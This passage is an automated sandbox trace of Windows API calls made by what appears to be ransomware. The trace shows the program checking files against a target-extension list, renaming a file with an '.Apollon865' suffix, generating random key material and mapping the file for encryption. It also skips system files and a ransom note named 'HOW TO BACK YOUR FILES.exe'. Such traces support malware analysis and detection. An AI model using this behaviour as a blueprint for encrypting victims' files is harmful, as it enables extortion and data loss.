	[0086.966] lstrcmpiW (lpString1="ch-ms", lpString2="accde") returned 1
	[0086.966] lstrlenW (lpString="accdr") returned 5
	[0086.966] lstrcmpiW (lpString1="ch-ms", lpString2="accdr") returned 1
	[0086.966] lstrlenW (lpString="accdt") returned 5
	[0086.966] lstrcmpiW (lpString1="ch-ms", lpString2="accdt") returned 1
	[0086.967] lstrlenW (lpString="accdw") returned 5
	[0086.967] lstrcmpiW (lpString1="ch-ms", lpString2="accdw") returned 1
	[0086.967] lstrlenW (lpString="accft") returned 5
	[0086.967] lstrcmpiW (lpString1="ch-ms", lpString2="accft") returned 1
	[0086.967] lstrlenW (lpString="adb") returned 3
	[0086.967] lstrcmpiW (lpString1="-ms", lpString2="adb") returned 1
	[0086.967] lstrlenW (lpString="adb") returned 3
	[0086.967] lstrcmpiW (lpString1="-ms", lpString2="adb") returned 1
	[0086.967] lstrlenW (lpString="ade") returned 3
	[0086.967] lstrcmpiW (lpString1="-ms", lpString2="ade") returned 1
	[0086.967] lstrlenW (lpString="adf") returned 3
	[0086.967] lstrcmpiW (lpString1="-ms", lpString2="adf") returned 1
	[0086.967] lstrlenW (lpString="adn") returned 3
	[0086.967] lstrcmpiW (lpString1="-ms", lpString2="adn") returned 1
	[0086.967] lstrlenW (lpString="adp") returned 3
	[0086.967] lstrcmpiW (lpString1="-ms", lpString2="adp") returned 1
	[0086.967] lstrlenW (lpString="alf") returned 3
	[0086.967] lstrcmpiW (lpString1="-ms", lpString2="alf") returned 1
	[0086.967] lstrlenW (lpString="ask") returned 3
	[0086.967] lstrcmpiW (lpString1="-ms", lpString2="ask") returned 1
	[0086.967] lstrlenW (lpString="btr") returned 3
	[0086.967] lstrcmpiW (lpString1="-ms", lpString2="btr") returned 1
	[0086.967] lstrlenW (lpString="cat") returned 3
	[0086.967] lstrcmpiW (lpString1="-ms", lpString2="cat") returned 1
	[0086.967] lstrlenW (lpString="cdb") returned 3
	[0086.967] lstrcmpiW (lpString1="-ms", lpString2="cdb") returned 1
	[0086.967] lstrlenW (lpString="ckp") returned 3
	[0086.967] lstrcmpiW (lpString1="-ms", lpString2="ckp") returned 1
	[0086.967] lstrlenW (lpString="cma") returned 3
	[0086.967] lstrcmpiW (lpString1="-ms", lpString2="cma") returned 1
	[0086.967] lstrlenW (lpString="cpd") returned 3
	[0086.967] lstrcmpiW (lpString1="-ms", lpString2="cpd") returned 1
	[0086.967] lstrlenW (lpString="dacpac") returned 6
	[0086.967] lstrcmpiW (lpString1="rch-ms", lpString2="dacpac") returned 1
	[0086.967] lstrlenW (lpString="dad") returned 3
	[0086.967] lstrcmpiW (lpString1="-ms", lpString2="dad") returned 1
	[0086.967] lstrlenW (lpString="dadiagrams") returned 10
	[0086.968] lstrcmpiW (lpString1=".search-ms", lpString2="dadiagrams") returned -1
	[0086.968] lstrlenW (lpString="daschema") returned 8
	[0086.968] lstrcmpiW (lpString1="earch-ms", lpString2="daschema") returned 1
	[0086.968] lstrlenW (lpString="db-journal") returned 10
	[0086.968] lstrcmpiW (lpString1=".search-ms", lpString2="db-journal") returned -1
	[0086.968] lstrlenW (lpString="db-shm") returned 6
	[0086.968] lstrcmpiW (lpString1="rch-ms", lpString2="db-shm") returned 1
	[0086.968] lstrlenW (lpString="db-wal") returned 6
	[0086.968] lstrcmpiW (lpString1="rch-ms", lpString2="db-wal") returned 1
	[0086.968] lstrlenW (lpString="dbc") returned 3
	[0086.968] lstrcmpiW (lpString1="-ms", lpString2="dbc") returned 1
	[0086.968] lstrlenW (lpString="dbs") returned 3
	[0086.968] lstrcmpiW (lpString1="-ms", lpString2="dbs") returned 1
	[0086.968] lstrlenW (lpString="dbt") returned 3
	[0086.968] lstrcmpiW (lpString1="-ms", lpString2="dbt") returned 1
	[0086.968] lstrlenW (lpString="dbv") returned 3
	[0086.968] lstrcmpiW (lpString1="-ms", lpString2="dbv") returned 1
	[0086.968] lstrlenW (lpString="dbx") returned 3
	[0086.968] lstrcmpiW (lpString1="-ms", lpString2="dbx") returned 1
	[0086.968] lstrlenW (lpString="dcb") returned 3
	[0086.968] lstrcmpiW (lpString1="-ms", lpString2="dcb") returned 1
	[0086.968] lstrlenW (lpString="dct") returned 3
	[0086.968] lstrcmpiW (lpString1="-ms", lpString2="dct") returned 1
	[0086.968] lstrlenW (lpString="dcx") returned 3
	[0086.968] lstrcmpiW (lpString1="-ms", lpString2="dcx") returned 1
	[0086.968] lstrlenW (lpString="ddl") returned 3
	[0086.968] lstrcmpiW (lpString1="-ms", lpString2="ddl") returned 1
	[0086.968] lstrlenW (lpString="dlis") returned 4
	[0086.968] lstrcmpiW (lpString1="h-ms", lpString2="dlis") returned 1
	[0086.968] lstrlenW (lpString="dp1") returned 3
	[0086.968] lstrcmpiW (lpString1="-ms", lpString2="dp1") returned 1
	[0086.968] lstrlenW (lpString="dqy") returned 3
	[0086.968] lstrcmpiW (lpString1="-ms", lpString2="dqy") returned 1
	[0086.968] lstrlenW (lpString="dsk") returned 3
	[0086.968] lstrcmpiW (lpString1="-ms", lpString2="dsk") returned 1
	[0086.968] lstrlenW (lpString="dsn") returned 3
	[0086.968] lstrcmpiW (lpString1="-ms", lpString2="dsn") returned 1
	[0086.969] lstrlenW (lpString="dtsx") returned 4
	[0086.969] lstrcmpiW (lpString1="h-ms", lpString2="dtsx") returned 1
	[0086.969] lstrlenW (lpString="dxl") returned 3
	[0086.969] lstrcmpiW (lpString1="-ms", lpString2="dxl") returned 1
	[0086.969] lstrlenW (lpString="eco") returned 3
	[0086.969] lstrcmpiW (lpString1="-ms", lpString2="eco") returned 1
	[0086.969] lstrlenW (lpString="ecx") returned 3
	[0086.969] lstrcmpiW (lpString1="-ms", lpString2="ecx") returned 1
	[0086.969] lstrlenW (lpString="edb") returned 3
	[0086.969] lstrcmpiW (lpString1="-ms", lpString2="edb") returned 1
	[0086.969] lstrlenW (lpString="epim") returned 4
	[0086.969] lstrcmpiW (lpString1="h-ms", lpString2="epim") returned 1
	[0086.969] lstrlenW (lpString="fcd") returned 3
	[0086.969] lstrcmpiW (lpString1="-ms", lpString2="fcd") returned 1
	[0086.969] lstrlenW (lpString="fdb") returned 3
	[0086.969] lstrcmpiW (lpString1="-ms", lpString2="fdb") returned 1
	[0086.969] lstrlenW (lpString="fic") returned 3
	[0086.969] lstrcmpiW (lpString1="-ms", lpString2="fic") returned 1
	[0086.969] lstrlenW (lpString="flexolibrary") returned 12
	[0086.969] lstrcmpiW (lpString1="re.search-ms", lpString2="flexolibrary") returned 1
	[0086.969] lstrlenW (lpString="fm5") returned 3
	[0086.969] lstrcmpiW (lpString1="-ms", lpString2="fm5") returned 1
	[0086.969] lstrlenW (lpString="fmp") returned 3
	[0086.969] lstrcmpiW (lpString1="-ms", lpString2="fmp") returned 1
	[0086.969] lstrlenW (lpString="fmp12") returned 5
	[0086.969] lstrcmpiW (lpString1="ch-ms", lpString2="fmp12") returned -1
	[0086.969] lstrlenW (lpString="fmpsl") returned 5
	[0086.969] lstrcmpiW (lpString1="ch-ms", lpString2="fmpsl") returned -1
	[0086.969] lstrlenW (lpString="fol") returned 3
	[0086.969] lstrcmpiW (lpString1="-ms", lpString2="fol") returned 1
	[0086.969] lstrlenW (lpString="fp3") returned 3
	[0086.969] lstrcmpiW (lpString1="-ms", lpString2="fp3") returned 1
	[0086.969] lstrlenW (lpString="fp4") returned 3
	[0086.969] lstrcmpiW (lpString1="-ms", lpString2="fp4") returned 1
	[0086.969] lstrlenW (lpString="fp5") returned 3
	[0086.969] lstrcmpiW (lpString1="-ms", lpString2="fp5") returned 1
	[0086.969] lstrlenW (lpString="fp7") returned 3
	[0086.969] lstrcmpiW (lpString1="-ms", lpString2="fp7") returned 1
	[0086.970] lstrlenW (lpString="fpt") returned 3
	[0086.970] lstrcmpiW (lpString1="-ms", lpString2="fpt") returned 1
	[0086.970] lstrlenW (lpString="frm") returned 3
	[0086.970] lstrcmpiW (lpString1="-ms", lpString2="frm") returned 1
	[0086.970] lstrlenW (lpString="gdb") returned 3
	[0086.970] lstrcmpiW (lpString1="-ms", lpString2="gdb") returned 1
	[0086.970] lstrlenW (lpString="gdb") returned 3
	[0086.970] lstrcmpiW (lpString1="-ms", lpString2="gdb") returned 1
	[0086.970] lstrlenW (lpString="grdb") returned 4
	[0086.970] lstrcmpiW (lpString1="h-ms", lpString2="grdb") returned 1
	[0086.970] lstrlenW (lpString="gwi") returned 3
	[0086.970] lstrcmpiW (lpString1="-ms", lpString2="gwi") returned 1
	[0086.970] lstrlenW (lpString="hdb") returned 3
	[0086.970] lstrcmpiW (lpString1="-ms", lpString2="hdb") returned 1
	[0086.970] lstrlenW (lpString="his") returned 3
	[0086.970] lstrcmpiW (lpString1="-ms", lpString2="his") returned 1
	[0086.970] lstrlenW (lpString="ib") returned 2
	[0086.970] lstrcmpiW (lpString1="ms", lpString2="ib") returned 1
	[0086.970] lstrlenW (lpString="idb") returned 3
	[0086.970] lstrcmpiW (lpString1="-ms", lpString2="idb") returned 1
	[0086.970] lstrlenW (lpString="ihx") returned 3
	[0086.970] lstrcmpiW (lpString1="-ms", lpString2="ihx") returned 1
	[0086.970] lstrlenW (lpString="itdb") returned 4
	[0086.970] lstrcmpiW (lpString1="h-ms", lpString2="itdb") returned -1
	[0086.970] lstrlenW (lpString="itw") returned 3
	[0086.970] lstrcmpiW (lpString1="-ms", lpString2="itw") returned 1
	[0086.970] lstrlenW (lpString="jet") returned 3
	[0086.970] lstrcmpiW (lpString1="-ms", lpString2="jet") returned 1
	[0086.970] lstrlenW (lpString="jtx") returned 3
	[0086.970] lstrcmpiW (lpString1="-ms", lpString2="jtx") returned 1
	[0086.970] lstrlenW (lpString="kdb") returned 3
	[0086.970] lstrcmpiW (lpString1="-ms", lpString2="kdb") returned 1
	[0086.970] lstrlenW (lpString="kexi") returned 4
	[0086.971] lstrcmpiW (lpString1="h-ms", lpString2="kexi") returned -1
	[0086.971] lstrlenW (lpString="kexic") returned 5
	[0086.971] lstrcmpiW (lpString1="ch-ms", lpString2="kexic") returned -1
	[0086.971] lstrlenW (lpString="kexis") returned 5
	[0086.971] lstrcmpiW (lpString1="ch-ms", lpString2="kexis") returned -1
	[0086.971] lstrlenW (lpString="lgc") returned 3
	[0086.971] lstrcmpiW (lpString1="-ms", lpString2="lgc") returned 1
	[0086.971] lstrlenW (lpString="lwx") returned 3
	[0086.971] lstrcmpiW (lpString1="-ms", lpString2="lwx") returned 1
	[0086.971] lstrlenW (lpString="maf") returned 3
	[0086.971] lstrcmpiW (lpString1="-ms", lpString2="maf") returned 1
	[0086.971] lstrlenW (lpString="maq") returned 3
	[0086.971] lstrcmpiW (lpString1="-ms", lpString2="maq") returned 1
	[0086.971] lstrlenW (lpString="mar") returned 3
	[0086.971] lstrcmpiW (lpString1="-ms", lpString2="mar") returned 1
	[0086.971] lstrlenW (lpString="marshal") returned 7
	[0086.971] lstrcmpiW (lpString1="arch-ms", lpString2="marshal") returned -1
	[0086.971] lstrlenW (lpString="mas") returned 3
	[0086.971] lstrcmpiW (lpString1="-ms", lpString2="mas") returned 1
	[0086.971] lstrlenW (lpString="mav") returned 3
	[0086.971] lstrcmpiW (lpString1="-ms", lpString2="mav") returned 1
	[0086.971] lstrlenW (lpString="maw") returned 3
	[0086.971] lstrcmpiW (lpString1="-ms", lpString2="maw") returned 1
	[0086.971] lstrlenW (lpString="mdbhtml") returned 7
	[0086.971] lstrcmpiW (lpString1="arch-ms", lpString2="mdbhtml") returned -1
	[0086.971] lstrlenW (lpString="mdn") returned 3
	[0086.971] lstrcmpiW (lpString1="-ms", lpString2="mdn") returned 1
	[0086.971] lstrlenW (lpString="mdt") returned 3
	[0086.971] lstrcmpiW (lpString1="-ms", lpString2="mdt") returned 1
	[0086.971] lstrlenW (lpString="mfd") returned 3
	[0086.971] lstrcmpiW (lpString1="-ms", lpString2="mfd") returned 1
	[0086.971] lstrlenW (lpString="mpd") returned 3
	[0086.971] lstrcmpiW (lpString1="-ms", lpString2="mpd") returned 1
	[0086.971] lstrlenW (lpString="mrg") returned 3
	[0086.972] lstrcmpiW (lpString1="-ms", lpString2="mrg") returned 1
	[0086.972] lstrlenW (lpString="mud") returned 3
	[0086.972] lstrcmpiW (lpString1="-ms", lpString2="mud") returned -1
	[0086.972] lstrlenW (lpString="mwb") returned 3
	[0086.972] lstrcmpiW (lpString1="-ms", lpString2="mwb") returned -1
	[0086.972] lstrlenW (lpString="myd") returned 3
	[0086.972] lstrcmpiW (lpString1="-ms", lpString2="myd") returned -1
	[0086.972] lstrlenW (lpString="ndf") returned 3
	[0086.972] lstrcmpiW (lpString1="-ms", lpString2="ndf") returned -1
	[0086.972] lstrlenW (lpString="nnt") returned 3
	[0086.972] lstrcmpiW (lpString1="-ms", lpString2="nnt") returned -1
	[0086.972] lstrlenW (lpString="nrmlib") returned 6
	[0086.972] lstrcmpiW (lpString1="rch-ms", lpString2="nrmlib") returned 1
	[0086.972] lstrlenW (lpString="ns2") returned 3
	[0086.972] lstrcmpiW (lpString1="-ms", lpString2="ns2") returned -1
	[0086.972] lstrlenW (lpString="ns3") returned 3
	[0086.972] lstrcmpiW (lpString1="-ms", lpString2="ns3") returned -1
	[0086.972] lstrlenW (lpString="ns4") returned 3
	[0086.972] lstrcmpiW (lpString1="-ms", lpString2="ns4") returned -1
	[0086.972] lstrlenW (lpString="nsf") returned 3
	[0086.972] lstrcmpiW (lpString1="-ms", lpString2="nsf") returned -1
	[0086.972] lstrlenW (lpString="nv") returned 2
	[0086.972] lstrcmpiW (lpString1="ms", lpString2="nv") returned -1
	[0086.972] lstrlenW (lpString="nv2") returned 3
	[0086.972] lstrcmpiW (lpString1="-ms", lpString2="nv2") returned -1
	[0086.972] lstrlenW (lpString="nwdb") returned 4
	[0086.972] lstrcmpiW (lpString1="h-ms", lpString2="nwdb") returned -1
	[0086.972] lstrlenW (lpString="nyf") returned 3
	[0086.972] lstrcmpiW (lpString1="-ms", lpString2="nyf") returned -1
	[0086.972] lstrlenW (lpString="odb") returned 3
	[0086.972] lstrcmpiW (lpString1="-ms", lpString2="odb") returned -1
	[0086.972] lstrlenW (lpString="odb") returned 3
	[0086.972] lstrcmpiW (lpString1="-ms", lpString2="odb") returned -1
	[0086.972] lstrlenW (lpString="oqy") returned 3
	[0086.973] lstrcmpiW (lpString1="-ms", lpString2="oqy") returned -1
	[0086.973] lstrlenW (lpString="ora") returned 3
	[0086.973] lstrcmpiW (lpString1="-ms", lpString2="ora") returned -1
	[0086.973] lstrlenW (lpString="orx") returned 3
	[0086.973] lstrcmpiW (lpString1="-ms", lpString2="orx") returned -1
	[0086.973] lstrlenW (lpString="owc") returned 3
	[0086.973] lstrcmpiW (lpString1="-ms", lpString2="owc") returned -1
	[0086.973] lstrlenW (lpString="p96") returned 3
	[0086.973] lstrcmpiW (lpString1="-ms", lpString2="p96") returned -1
	[0086.973] lstrlenW (lpString="p97") returned 3
	[0086.973] lstrcmpiW (lpString1="-ms", lpString2="p97") returned -1
	[0086.973] lstrlenW (lpString="pan") returned 3
	[0086.973] lstrcmpiW (lpString1="-ms", lpString2="pan") returned -1
	[0086.973] lstrlenW (lpString="pdb") returned 3
	[0086.973] lstrcmpiW (lpString1="-ms", lpString2="pdb") returned -1
	[0086.973] lstrlenW (lpString="pdm") returned 3
	[0086.973] lstrcmpiW (lpString1="-ms", lpString2="pdm") returned -1
	[0086.973] lstrlenW (lpString="pnz") returned 3
	[0086.973] lstrcmpiW (lpString1="-ms", lpString2="pnz") returned -1
	[0086.973] lstrlenW (lpString="qry") returned 3
	[0086.973] lstrcmpiW (lpString1="-ms", lpString2="qry") returned -1
	[0086.973] lstrlenW (lpString="qvd") returned 3
	[0086.973] lstrcmpiW (lpString1="-ms", lpString2="qvd") returned -1
	[0086.973] lstrlenW (lpString="rbf") returned 3
	[0086.973] lstrcmpiW (lpString1="-ms", lpString2="rbf") returned -1
	[0086.973] lstrlenW (lpString="rctd") returned 4
	[0086.973] lstrcmpiW (lpString1="h-ms", lpString2="rctd") returned -1
	[0086.973] lstrlenW (lpString="rod") returned 3
	[0086.973] lstrcmpiW (lpString1="-ms", lpString2="rod") returned -1
	[0086.973] lstrlenW (lpString="rodx") returned 4
	[0086.973] lstrcmpiW (lpString1="h-ms", lpString2="rodx") returned -1
	[0086.973] lstrlenW (lpString="rpd") returned 3
	[0086.973] lstrcmpiW (lpString1="-ms", lpString2="rpd") returned -1
	[0086.973] lstrlenW (lpString="rsd") returned 3
	[0086.974] lstrcmpiW (lpString1="-ms", lpString2="rsd") returned -1
	[0086.974] lstrlenW (lpString="sas7bdat") returned 8
	[0086.974] lstrcmpiW (lpString1="earch-ms", lpString2="sas7bdat") returned -1
	[0086.974] lstrlenW (lpString="sbf") returned 3
	[0086.974] lstrcmpiW (lpString1="-ms", lpString2="sbf") returned -1
	[0086.974] lstrlenW (lpString="scx") returned 3
	[0086.974] lstrcmpiW (lpString1="-ms", lpString2="scx") returned -1
	[0086.974] lstrlenW (lpString="sdb") returned 3
	[0086.974] lstrcmpiW (lpString1="-ms", lpString2="sdb") returned -1
	[0086.974] lstrlenW (lpString="sdc") returned 3
	[0086.974] lstrcmpiW (lpString1="-ms", lpString2="sdc") returned -1
	[0086.974] lstrlenW (lpString="sdf") returned 3
	[0086.974] lstrcmpiW (lpString1="-ms", lpString2="sdf") returned -1
	[0086.974] lstrlenW (lpString="sis") returned 3
	[0086.974] lstrcmpiW (lpString1="-ms", lpString2="sis") returned -1
	[0086.974] lstrlenW (lpString="spq") returned 3
	[0086.974] lstrcmpiW (lpString1="-ms", lpString2="spq") returned -1
	[0086.974] lstrlenW (lpString="te") returned 2
	[0086.974] lstrcmpiW (lpString1="ms", lpString2="te") returned -1
	[0086.974] lstrlenW (lpString="teacher") returned 7
	[0086.974] lstrcmpiW (lpString1="arch-ms", lpString2="teacher") returned -1
	[0086.974] lstrlenW (lpString="tmd") returned 3
	[0086.974] lstrcmpiW (lpString1="-ms", lpString2="tmd") returned -1
	[0086.974] lstrlenW (lpString="tps") returned 3
	[0086.974] lstrcmpiW (lpString1="-ms", lpString2="tps") returned -1
	[0086.974] lstrlenW (lpString="trc") returned 3
	[0086.974] lstrcmpiW (lpString1="-ms", lpString2="trc") returned -1
	[0086.974] lstrlenW (lpString="trc") returned 3
	[0086.974] lstrcmpiW (lpString1="-ms", lpString2="trc") returned -1
	[0086.974] lstrlenW (lpString="trm") returned 3
	[0086.974] lstrcmpiW (lpString1="-ms", lpString2="trm") returned -1
	[0086.974] lstrlenW (lpString="udb") returned 3
	[0086.974] lstrcmpiW (lpString1="-ms", lpString2="udb") returned -1
	[0086.974] lstrlenW (lpString="udl") returned 3
	[0086.975] lstrcmpiW (lpString1="-ms", lpString2="udl") returned -1
	[0086.975] lstrlenW (lpString="usr") returned 3
	[0086.975] lstrcmpiW (lpString1="-ms", lpString2="usr") returned -1
	[0086.975] lstrlenW (lpString="v12") returned 3
	[0086.975] lstrcmpiW (lpString1="-ms", lpString2="v12") returned -1
	[0086.975] lstrlenW (lpString="vis") returned 3
	[0086.975] lstrcmpiW (lpString1="-ms", lpString2="vis") returned -1
	[0086.975] lstrlenW (lpString="vpd") returned 3
	[0086.975] lstrcmpiW (lpString1="-ms", lpString2="vpd") returned -1
	[0086.975] lstrlenW (lpString="vvv") returned 3
	[0086.975] lstrcmpiW (lpString1="-ms", lpString2="vvv") returned -1
	[0086.975] lstrlenW (lpString="wdb") returned 3
	[0086.975] lstrcmpiW (lpString1="-ms", lpString2="wdb") returned -1
	[0086.975] lstrlenW (lpString="wmdb") returned 4
	[0086.975] lstrcmpiW (lpString1="h-ms", lpString2="wmdb") returned -1
	[0086.975] lstrlenW (lpString="wrk") returned 3
	[0086.975] lstrcmpiW (lpString1="-ms", lpString2="wrk") returned -1
	[0086.975] lstrlenW (lpString="xdb") returned 3
	[0086.975] lstrcmpiW (lpString1="-ms", lpString2="xdb") returned -1
	[0086.975] lstrlenW (lpString="xld") returned 3
	[0086.975] lstrcmpiW (lpString1="-ms", lpString2="xld") returned -1
	[0086.975] lstrlenW (lpString="xmlff") returned 5
	[0086.975] lstrcmpiW (lpString1="ch-ms", lpString2="xmlff") returned -1
	[0086.975] wsprintfW (in: param_1=0x119d398, param_2="%s.%s" | out: param_1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches\\Everywhere.search-ms.Apollon865") returned 70
	[0086.975] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches\\Everywhere.search-ms" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\searches\\everywhere.search-ms"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches\\Everywhere.search-ms.Apollon865" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\searches\\everywhere.search-ms.apollon865"), dwFlags=0x1) returned 1
	[0086.986] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches\\Everywhere.search-ms.Apollon865" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\searches\\everywhere.search-ms.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x9c
	[0086.986] GetFileSizeEx (in: hFile=0x9c, lpFileSize=0x119e298 | out: lpFileSize=0x119e298*=248) returned 1
	[0086.986] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0086.986] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a920
	[0086.986] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf9a8
	[0086.986] CryptAcquireContextW (in: phProv=0x119d054, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d054*=0x5bf700) returned 1
	[0086.987] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x119d068 | out: pbBuffer=0x119d068) returned 1
	[0086.987] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0086.987] CreateFileMappingW (hFile=0x9c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x400, lpName=0x0) returned 0x15c
	[0086.990] MapViewOfFile (hFileMappingObject=0x15c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x400) returned 0x100000
	[0086.991] CryptAcquireContextW (in: phProv=0x119d004, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d004*=0x5bf700) returned 1
	[0086.991] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x119d018 | out: pbBuffer=0x119d018) returned 1
	[0086.991] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0086.991] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a8a8
	[0086.991] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a8a8 | out: hHeap=0x580000) returned 1
	[0086.991] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6668
	[0086.992] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0086.992] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6668 | out: hHeap=0x580000) returned 1
	[0086.992] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0086.992] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b28e8
	[0086.992] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0086.992] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b28e8 | out: hHeap=0x580000) returned 1
	[0086.992] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0086.992] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0086.992] CloseHandle (hObject=0x15c) returned 1
	[0086.992] CloseHandle (hObject=0x9c) returned 1
	[0086.992] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a920 | out: hHeap=0x580000) returned 1
	[0086.992] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf9a8 | out: hHeap=0x580000) returned 1
	[0086.992] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0086.992] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3021f910, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x3021f910, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0086.993] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0086.993] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf99b37d1, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0xf8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Indexed Locations.search-ms", cAlternateFileName="INDEXE~1.SEA")) returned 1
	[0086.993] lstrcmpiW (lpString1="Indexed Locations.search-ms", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0086.993] lstrcmpiW (lpString1="Indexed Locations.search-ms", lpString2="Apollon865.txt.exe") returned 1
	[0086.993] lstrcmpiW (lpString1="Indexed Locations.search-ms", lpString2=".") returned 1
	[0086.993] lstrcmpiW (lpString1="Indexed Locations.search-ms", lpString2="..") returned 1
	[0086.993] lstrcmpiW (lpString1="Indexed Locations.search-ms", lpString2="windows") returned -1
	[0086.993] lstrcmpiW (lpString1="Indexed Locations.search-ms", lpString2="bootmgr") returned 1
	[0086.993] lstrcmpiW (lpString1="Indexed Locations.search-ms", lpString2="temp") returned -1
	[0086.993] lstrcmpiW (lpString1="Indexed Locations.search-ms", lpString2="pagefile.sys") returned -1
	[0086.993] lstrcmpiW (lpString1="Indexed Locations.search-ms", lpString2="boot") returned 1
	[0086.993] lstrcmpiW (lpString1="Indexed Locations.search-ms", lpString2="ids.txt") returned 1
	[0086.993] lstrcmpiW (lpString1="Indexed Locations.search-ms", lpString2="ntuser.dat") returned -1
	[0086.993] lstrcmpiW (lpString1="Indexed Locations.search-ms", lpString2="perflogs") returned -1
	[0086.993] lstrcmpiW (lpString1="Indexed Locations.search-ms", lpString2="MSBuild") returned -1
	[0086.993] lstrlenW (lpString="Indexed Locations.search-ms") returned 27
	[0086.993] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches\\Everywhere.search-ms") returned 59
	[0086.993] lstrcpyW (in: lpString1=0x119e656, lpString2="Indexed Locations.search-ms" | out: lpString1="Indexed Locations.search-ms") returned="Indexed Locations.search-ms"
	[0086.993] lstrlenW (lpString="Indexed Locations.search-ms") returned 27
	[0086.993] lstrlenW (lpString="Apollon865") returned 10
	[0086.993] lstrcmpiW (lpString1=".search-ms", lpString2="Apollon865") returned -1
	[0086.993] lstrlenW (lpString=".dll") returned 4
	[0086.993] lstrcmpiW (lpString1="Indexed Locations.search-ms", lpString2=".dll") returned 1
	[0086.993] lstrlenW (lpString=".lnk") returned 4
	[0086.993] lstrcmpiW (lpString1="Indexed Locations.search-ms", lpString2=".lnk") returned 1
	[0086.993] lstrlenW (lpString=".ini") returned 4
	[0086.993] lstrcmpiW (lpString1="Indexed Locations.search-ms", lpString2=".ini") returned 1
	[0086.993] lstrlenW (lpString=".sys") returned 4
	[0086.994] lstrcmpiW (lpString1="Indexed Locations.search-ms", lpString2=".sys") returned 1
	[0086.994] lstrlenW (lpString="Indexed Locations.search-ms") returned 27
	[0086.994] lstrlenW (lpString="bak") returned 3
	[0086.994] lstrcmpiW (lpString1="-ms", lpString2="bak") returned 1
	[0086.994] lstrlenW (lpString="ba_") returned 3
	[0086.994] lstrcmpiW (lpString1="-ms", lpString2="ba_") returned 1
	[0086.994] lstrlenW (lpString="dbb") returned 3
	[0086.994] lstrcmpiW (lpString1="-ms", lpString2="dbb") returned 1
	[0086.994] lstrlenW (lpString="vmdk") returned 4
	[0086.994] lstrcmpiW (lpString1="h-ms", lpString2="vmdk") returned -1
	[0086.994] lstrlenW (lpString="rar") returned 3
	[0086.994] lstrcmpiW (lpString1="-ms", lpString2="rar") returned -1
	[0086.994] lstrlenW (lpString="zip") returned 3
	[0086.994] lstrcmpiW (lpString1="-ms", lpString2="zip") returned -1
	[0086.994] lstrlenW (lpString="tgz") returned 3
	[0086.994] lstrcmpiW (lpString1="-ms", lpString2="tgz") returned -1
